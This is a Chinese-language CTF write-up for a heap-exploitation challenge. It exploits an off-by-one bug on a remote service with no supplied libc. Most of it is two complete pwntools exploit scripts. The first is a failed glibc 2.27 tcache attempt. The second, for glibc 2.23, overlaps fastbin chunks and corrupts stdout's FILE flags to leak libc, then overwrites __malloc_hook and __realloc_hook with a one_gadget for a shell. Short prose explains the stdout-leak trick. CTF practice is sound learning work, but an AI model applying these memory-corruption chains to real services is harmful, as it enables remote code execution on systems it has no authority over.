程序分析
思路
有一个offset-by-one,但是题目没libc,应该只会是2.27与2.23
先尝试按照2.27的来试试
#! /usr/bin/python
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
#sh = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
sh = remote('123.56.52.128', 45830)
#proc_base = sh.libs()[sh.cwd + sh.argv[0].strip('.')]
def Log(val):
log.success('%s = %s'%(str(val), hex(eval(val))))
def Cmd(i):
sh.sendlineafter('>> ', str(i))
def Add(sz, cont):
Cmd(1)
sh.sendlineafter('size?\n', str(sz))
sh.recvuntil('content?\n')
sh.send(cont)
def Delete(idx):
Cmd(2)
sh.sendlineafter('index ?\n', str(idx))
def Change(idx, cont):
Cmd(4)
sh.sendlineafter('index ?\n', str(idx))
sh.recvuntil('what is your new content ?\n')
sh.send(cont)
Add(0x48, 'A'*0x20)
Add(0x48, 'B'*0x20)
Add(0x48, 'C'*0x20)
Delete(2) #Tcache[0x50]->C
Change(0, 'A'*0x48+p8(0xA1)) #chunkB include chunkC
Delete(1) #Tcache[0xA0]->(BC)
Add(0x98, 'D'*0x20)
exp = 'A'*0x48
exp+= p64(0x51) #C's size
exp+= p64(0x602020) #C's fd = stdout_ptr
Change(1, exp) #Tcache[0x50]->C->stdout_ptr->stdout
Add(0x48, 'E'*0x20)
Add(0x48, 'F'*0x20)
FILE = p64(0xFBAD1800) #flag
FILE+= p64(0)*3 #read ptr end base
FILE+= p8(0x90) #write base
Add(0x48, 'G'*0x20)
Change(4, FILE)
libc.address = u64(sh.recv(8))
Log('libc.address')
#gdb.attach(sh)
sh.interactive()
'''
PtrArr[] telescope 0x6020C0 16
'''
失败,考虑2.23的libc,使用0x60 0x7F的经典手法
先考虑泄露地址,只能打stdout
利用0x7F.....和0x00...构造出一个0x7F的size字段,绕过fastbin的size检查
这里再提一下打stdout的手法,源码分析如果需要的话评论告诉我,这里就只说结论了:
修改stdout的flag为0xFBAD1800之后,print/puts输出时就会有:write(STDOUT, write_base, write_ptr-write_base
而_IO_FILE的结构如下,因此覆盖write_base的最低字节让其指向FILE结构体内部,即可打印出指针,泄露libc地址
struct _IO_FILE {
int _flags; /* low-order is flags.*/
#define _IO_file_flags _flags
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
...
}
下面是得到的libc地址,对于这种没给libc的题目,除了骂出题人不讲武德之外,一定要先泄露libc地址,然后去找到到底是哪个libc,一般常用的就2.27和2.23,但是又根据UB版本分为各个小版本,建议到github上用libc-all-in-one的工具去尝试
小细节,fastbin在free时还会检查下一个chunk的size是否合法,这个也要注意伪造
EXP
#! /usr/bin/python
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
#sh = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
sh = remote('123.56.52.128', 45830)
#proc_base = sh.libs()[sh.cwd + sh.argv[0].strip('.')]
def Log(val):
log.success('%s = %s'%(str(val), hex(eval(val))))
def Cmd(i):
sh.sendlineafter('>> ', str(i))
def Add(sz, cont='A'*0x20):
Cmd(1)
sh.sendlineafter('size?', str(sz))
sh.recvuntil('content?')
sh.send(cont)
def Delete(idx):
Cmd(2)
sh.sendlineafter('index ?', str(idx))
def Change(idx, cont):
Cmd(4)
sh.sendlineafter('index ?', str(idx))
sh.recvuntil('what is your new content ?')
sh.send(cont)
#leak addr
Add(0x18)
Add(0x68)
Add(0x68)
exp = 'C'*0x10
exp+= p64(0)+p64(0x21)+'C'*0x10 #fakeChunk1
exp+= p64(0)+p64(0x21)+'C'*0x10 #fakeChunk2
Change(2, exp)
Delete(2) #Fastbin->C
Change(0, 'A'*0x18+p8(0x91)) #B include C
Delete(1) #UB<=>(BC)
Add(0x38) #split UB
Add(0x28)
Add(0x18)
Change(2, 'A'*0x28+p8(0x71))
Change(3, p16(0x75DD)) #fastbin->Chunk->fC near stdout
Add(0x68) #fastbin->fC near stdout
Add(0x68)
exp = '\x00'*(3+0x30)
exp+= p64(0xFBAD1800)
exp+= p64(0)*3
exp+= p8(0x50)
Change(5, exp)
sh.recvuntil('\x7F\x00\x00')
libc.address = u64(sh.recv(8))-0x3c56a3
Log('libc.address')
ones = [0x45206, 0x4527a, 0xef9f4, 0xf0897]
OGG = libc.address + ones[1]
Log('OGG')
#control __malloc_hook
Add(0x18) #A
Add(0x50) #B
Add(0x60) #C
Change(8, p64(0x21)*12) #forget fastbin next size
Delete(8) #Fastbin->C
Change(6, 'A'*0x18+p8(0x81))
Delete(7) #fastbin[0x80]->(BC)
Add(0x70)
exp = 'A'*0x58
exp+= p64(0x71) #C's size
exp+= p64(libc.symbols['__malloc_hook']-0x10-0x10-0x3) #C's fd = fC near __malloc_hook
Change(7, exp) #fastbin[0x70]->C->fC near __malloc_hook
Add(0x60)
Add(0x68)
exp = '\x00'*(3+8)
exp+= p64(OGG) #__realloc_hook
exp+= p64(libc.symbols['realloc']+16) #__malloc_hook
Change(9, exp)
#gdb.attach(sh, 'break *malloc')
Cmd(1)
sh.recvuntil('size?')
sh.sendline('123')
sh.interactive()
'''
PtrArr[] telescope 0x6020C0 16
SizeArr[] telescope 0x602040 16
'''